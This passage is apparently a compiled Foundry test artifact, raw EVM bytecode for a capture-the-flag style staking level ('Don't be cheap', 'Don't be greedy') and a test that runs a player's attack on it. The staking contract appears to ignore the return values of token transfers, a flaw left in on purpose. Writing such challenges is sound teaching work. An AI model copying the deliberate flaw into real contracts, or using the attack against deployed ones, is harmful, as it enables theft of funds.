905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208b08944b58a44bf5ec2a0ce346857a7bd0f29761f0719b54ba3a8e53e6f32f9464736f6c63430008170033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122001b2dc4ee5800f3b3f34414b6087f35db07962ffb813941ef29a6f1e57c8625264736f6c63430008170033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:159;216:27:160;503:1843:151;420:32:159;259:12:160;503:1843:151;420:32:159;410:43;382:71;;503:1843:151;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001dc7565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001e0a565b620001b3620001fa36600462001ef6565b62000a32565b6200020a62000bfd565b604051620001c7919062001fc9565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c791906200208c565b620001da6200025736600462002159565b62000eff565b6200019a62001076565b6200027162001461565b604051620001c7919062002171565b620001b362000291366004620021d7565b62001536565b6200023762001655565b620002b8620002b2366004620021f5565b6200174f565b6040519015158152602001620001c7565b62000271620018df565b6200019a620019b4565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001a4d565b620001da62001b21565b6200019a6200032f36600462002159565b62001b81565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762002231565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002231565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001536565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001d69565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620009769190810190620022d2565b9050806001825162000989919062002462565b815181106200099c576200099c62002231565b60200260200101515f0151600281518110620009bc57620009bc62002231565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb919081019062002478565b90505f81848560405160200162000ad4929190620024ca565b60408051601f198184030181529082905262000af4929160200162002578565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b58908590600401620025aa565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c919081019062002478565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001bf590919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c9290620025be565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc090620025be565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001e58565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b838110156200106f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb9190620025f8565b60405163c88a5e6d60e01b81526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001020575f80fd5b505af115801562001033573d5f803e3d5ffd5b50505050808383815181106200104d576200104d62002231565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b60235460405163c88a5e6d60e01b81526001600160a01b039091166004820152670de0b6b3a76400006024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b158015620010db575f80fd5b505af1158015620010ee573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562001149575f80fd5b505af11580156200115c573d5f803e3d5ffd5b505050505f6040516200116f9062001d77565b604051809103905ff08015801562001189573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e9066038d7ea4c68002906024015f604051808303818588803b158015620011f3575f80fd5b505af115801562001206573d5f803e3d5ffd5b50505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200125d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012839190620025f8565b6021546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f19602482015291925082169063095ea7b3906044016020604051808303815f875af1158015620012ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001315919062002616565b506021546040517f6e35c74000000000000000000000000000000000000000000000000000000000815266038d7ea4c6800160048201526001600160a01b0390911690636e35c740906024016020604051808303815f875af11580156200137e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620013a4919062002616565b506021546040517ff1f1db1e00000000000000000000000000000000000000000000000000000000815266038d7ea4c6800160048201526001600160a01b039091169063f1f1db1e906024016020604051808303815f875af11580156200140d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001433919062002616565b506020546021546200145d9162001457916001600160a01b0391821691166200174f565b62001c97565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620014a490620025be565b80601f0160208091040260200160405190810160405280929190818152602001828054620014d290620025be565b8015620015215780601f10620014f75761010080835404028352916020019162001521565b820191905f5260205f20905b8154815290600101906020018083116200150357829003601f168201915b50505050508152602001906001019062001484565b5f80604051620015469062001d85565b604051809103905ff08015801562001560573d5f803e3d5ffd5b5090505f604051620015729062001d93565b604051809103905ff0801580156200158c573d5f803e3d5ffd5b5084836040516200159d9062001da1565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620015d7573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001636575f80fd5b505af115801562001649573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200173657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620016e25790505b5050505050815250508152602001906001019062001678565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620017ab575f80fd5b505af1158015620017be573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200181c575f80fd5b505af11580156200182f573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001893573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620018bc9190810190620022d2565b9050600181511115620018d4576001915050620018d9565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200192290620025be565b80601f01602080910402602001604051908101604052809291908181526020018280546200195090620025be565b80156200199f5780601f1062001975576101008083540402835291602001916200199f565b820191905f5260205f20905b8154815290600101906020018083116200198157829003601f168201915b50505050508152602001906001019062001902565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001a0b575f80fd5b505af115801562001a1e573d5f803e3d5ffd5b505060205460215462001a4b935062001a4592506001600160a01b0391821691166200174f565b62001d16565b565b6008545f9060ff161562001a65575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001af4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001b1a919062002637565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001b8e82436200264f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001c4c908690869060040162002665565b5f60405180830381865afa15801562001c67573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001c90919081019062002696565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001cfc575f80fd5b505afa15801562001d0f573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ce5565b611a7080620026cd83390190565b610118806200413d83390190565b610ae5806200425583390190565b611e7a8062004d3a83390190565b610daa8062006bb483390190565b6001600160a01b038116811462001dc4575f80fd5b50565b5f805f6060848603121562001dda575f80fd5b833562001de78162001daf565b9250602084013562001df98162001daf565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001e4c5783516001600160a01b03168352928401929184019160010162001e25565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001e925762001e9262001e58565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001ec45762001ec462001e58565b604052919050565b5f67ffffffffffffffff82111562001ee85762001ee862001e58565b50601f01601f191660200190565b5f6020828403121562001f07575f80fd5b813567ffffffffffffffff81111562001f1e575f80fd5b8201601f8101841362001f2f575f80fd5b803562001f4662001f408262001ecc565b62001e98565b81815285602083850101111562001f5b575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001f9457818101518382015260200162001f7a565b50505f910152565b5f815180845262001fb581602086016020860162001f78565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200207d57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200206657605f198885030183526200205384865162001f9c565b948d01949350918c019160010162002034565b505050968901969350509087019060010162001fee565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156200214b57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620021355783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190620020f1565b50968901969450505090860190600101620020b3565b509098975050505050505050565b5f602082840312156200216a575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b82811015620021ca57603f19888603018452620021b785835162001f9c565b9450928501929085019060010162002198565b5092979650505050505050565b5f60208284031215620021e8575f80fd5b813562001c908162001daf565b5f806040838503121562002207575f80fd5b8235620022148162001daf565b91506020830135620022268162001daf565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002261576200226162001e58565b5060051b60200190565b5f6200227b62001f408462001ecc565b90508281528383830111156200228f575f80fd5b62001c9083602083018462001f78565b5f82601f830112620022af575f80fd5b62001c90838351602085016200226b565b8051620022cd8162001daf565b919050565b5f6020808385031215620022e4575f80fd5b825167ffffffffffffffff80821115620022fc575f80fd5b818501915085601f83011262002310575f80fd5b81516200232162001f408262002245565b81815260059190911b8301840190848101908883111562002340575f80fd5b8585015b8381101562002441578051858111156200235c575f80fd5b86016060818c03601f1901121562002372575f80fd5b6200237c62001e6c565b88820151878111156200238d575f80fd5b8201603f81018d136200239e575f80fd5b89810151620023b162001f408262002245565b81815260059190911b8201604001908b8101908f831115620023d1575f80fd5b6040840193505b82841015620023f35783518252928c0192908c0190620023d8565b84525050506040820151878111156200240a575f80fd5b6200241a8d8b838601016200229f565b8a830152506200242d60608301620022c0565b604082015284525091860191860162002344565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620018d957620018d96200244e565b5f6020828403121562002489575f80fd5b815167ffffffffffffffff811115620024a0575f80fd5b8201601f81018413620024b1575f80fd5b620024c2848251602084016200226b565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200250381600585016020880162001f78565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200254281600a84016020880162001f78565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200258b81846020880162001f78565b835190830190620025a181836020880162001f78565b01949350505050565b602081525f62001c90602083018462001f9c565b600181811c90821680620025d357607f821691505b602082108103620025f257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002609575f80fd5b815162001c908162001daf565b5f6020828403121562002627575f80fd5b8151801515811462001c90575f80fd5b5f6020828403121562002648575f80fd5b5051919050565b80820180821115620018d957620018d96200244e565b604081525f62002679604083018562001f9c565b82810360208401526200268d818562001f9c565b95945050505050565b5f60208284031215620026a7575f80fd5b815167ffffffffffffffff811115620026be575f80fd5b620024c2848285016200229f56fe6080604052604051610010906100f0565b604080825260099082015268088eadadaf2ae8aa8960bb1b606082015260806020820181905260059082015264088ae8aa8960db1b60a082015260c001604051809103905ff080158015610066573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055348015610092575f80fd5b5061009c336100a1565b6100fd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610c3880610e3883390190565b610d2e8061010a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461047d565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461049f565b61016a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461047d565b610307565b61011461039c565b61011d5f6103f5565b565b6001546040515f916001600160a01b03169061013a9061045c565b6001600160a01b039091168152602001604051809103905ff080158015610163573d5f803e3d5ffd5b5092915050565b5f826001600160a01b03811631158015906101ed5750836001600160a01b031631816001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101eb91906104d6565b115b801561027757506040517f7b2333190000000000000000000000000000000000000000000000000000000081526001600160a01b038481166004830152821690637b23331990602401602060405180830381865afa158015610251573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027591906104d6565b155b80156102ff57506040517fede85eb70000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015282169063ede85eb790602401602060405180830381865afa1580156102db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ff91906104ed565b949350505050565b61030f61039c565b6001600160a01b0381166103905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610399816103f5565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610387565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ec8061050d83390190565b6001600160a01b0381168114610399575f80fd5b5f6020828403121561048d575f80fd5b813561049881610469565b9392505050565b5f80604083850312156104b0575f80fd5b82356104bb81610469565b915060208301356104cb81610469565b809150509250929050565b5f602082840312156104e6575f80fd5b5051919050565b5f602082840312156104fd575f80fd5b81518015158114610498575f80fdfe60806040526040516107ec3803806107ec8339810160408190526100229161005c565b345f808282546100329190610089565b9091555050600380546001600160a01b0319166001600160a01b03929092169190911790556100ae565b5f6020828403121561006c575f80fd5b81516001600160a01b0381168114610082575f80fd5b9392505050565b808201808211156100a857634e487b7160e01b5f52601160045260245ffd5b92915050565b610731806100bb5f395ff3fe60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040